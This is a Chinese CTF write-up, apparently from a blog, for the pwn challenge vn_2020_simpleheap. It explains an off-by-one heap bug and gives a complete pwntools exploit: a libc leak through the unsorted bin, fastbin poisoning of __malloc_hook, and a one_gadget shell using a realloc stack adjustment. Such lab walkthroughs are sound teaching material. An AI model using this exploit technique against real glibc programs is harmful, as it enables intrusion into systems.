vn_2020_simpleheap

1、保护全开,64位程序,full relro不能修改got表地址

2、主函数包括增删改和打印功能

add函数没有漏洞点,就是根据输入的size大小malloc一个chunk,将mem指针保存在notelist数组中,notelist是一个存放在bss段上的全局变量,size存放在Size_Array数组中,size大小被限制在1~0x6f,0x6f+chunk头0x10刚好最大值不超过fastbin

edit函数中存在一个off_by_one漏洞点,主要是因为其中自己实现的一个读入函数

self_read函数会读入size+1个字节到对应的chunk中,假如此时前面size输入的是0x18,被对齐后实际的chunk大小是0x20,除去chunk头部固定的0x10,还有0x8会被保存在下一个chunk的prev_size中,由于此时可以多输入一个字节,刚好能覆盖下一个chunk的size位

show函数

delete函数,free之后进行了清空,不存在uaf漏洞

 

3、漏洞利用,需要先申请一个0x18大小的chunk来进行off_by_one的利用(idx=0),然后申请两个0x68大小的chunk(idx=1、2),还需要申请一个0x18的chunk(idx=3),防止前面两个chunk被free掉之后和top chunk合并。

此时通过覆盖第二个chunk的size,使得free掉1号chunk时,1、2两个chunk会被视为一个chunk,此时的大小超出了fastbin的大小,从而被放到unsorted bin中。

然后再申请一个0x68大小的chunk(idx=1),这样就会从unsorted bin中去切割,剩下的部分还是会被放在unsorted bin中,其实也就是2号chunk,由于此时unsorted bin中此时只有一个块,所以它的fd和bk指针都指向main_area+88的位置,此时只需要show一下2号chunk的内容,就能得到main_area的地址,又由于&malloc_hook+0x10==&main_area,故而可以算得libc的基址。

此时再申请一个0x68的chunk(idx=4),此时这块内存和2号chunk其实是同一个,然后free掉2号chunk会被放入到fastbin中,后面的做法就有点像double free了,修改4号chunk的内容,使得free掉的2号chunk的fd指针指向一个伪造的chunk处(地址是malloc_hook-0x23),包含malloc_hook和realloc_hook,且size位为0x7f 

然后再将free掉的2号chunk申请掉,然后此时再申请一个0x68的chunk,就是我们伪造的chunk了,写的内容就能覆盖掉realloc_hook和malloc_hook,用到realloc_hook的原因是因为malloc函数的参数是整形变量,不能传入/bin/sh,所以只能用one_gadget一把梭,但是one_gadget有限制条件

4、调节栈帧,调试可以看到在跳到malloc_hook对应的函数位置之前,没有一个条件是满足的,所以需要利用realloc函数的push语句和sub语句进行rsp的调整,从头开始有6个push,也就是-0x30,然后再减去0x38,一共是-0x68,最后就是realloc_hook的检测,如果不为空,就调用对应的函数

具体从realloc函数的哪一句开始,这是我个人的调试方法,仅供参考,用第二个one_gadget为例。

先从头执行,然后到调用函数之前,查看$rsp+0x30离0有多远,发现+0x28和+0x30都是

所以只需要跳过5个push或者6个push操作即可,即realloc+0xC或者realloc+0xD都行

5、最后脚本

from pwn import  *
#from LibcSearcher import LibcSearcher
from sys import argv

def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search('/bin/sh').next()

	return (system, binsh)

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
binary = './vn_2020_simpleHeap'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('node3.buuoj.cn',28654) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')

def dbg():
	gdb.attach(p)
	pause()

_add,_free,_edit,_show = 1,4,2,3
def add(size,content='a'):
	sla(':',str(_add))
	sla('?',str(size))
	sa(':',content)

def free(index):
	sla(':',str(_free))
	sla('?',str(index))

def edit(index,content):
	sla(':',str(_edit))
	sla('?',str(index))
	sa(':',content)

def show(index):
	sla(':',str(_show))
	sla('?',str(index))

# start
add(0x18) # 0
add(0x68) # 1
add(0x68) # 2
add(0x18) # 3

edit(0,'a'*0x18+'\xe1')
free(1)
add(0x68) # 1
show(2)
base = uu64(r(6))-88-libc.sym['__malloc_hook']-0x10
leak('base',base)
malloc_hook = base+libc.sym['__malloc_hook']

add(0x60) # 4 <-> 2
free(2)
edit(4,p64(malloc_hook-0x23)+'\n')
add(0x68)
add(0x68,flat('a'*11,base+0x4527a,base+libc.sym['realloc']+0xD))    #0xC
#dbg()
sla(':',str(_add))
sla('?',str(0x18))
# end

itr()

参考:【CTF Pwn】GLibc堆利用-Off-By-One_哔哩哔哩_bilibili

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值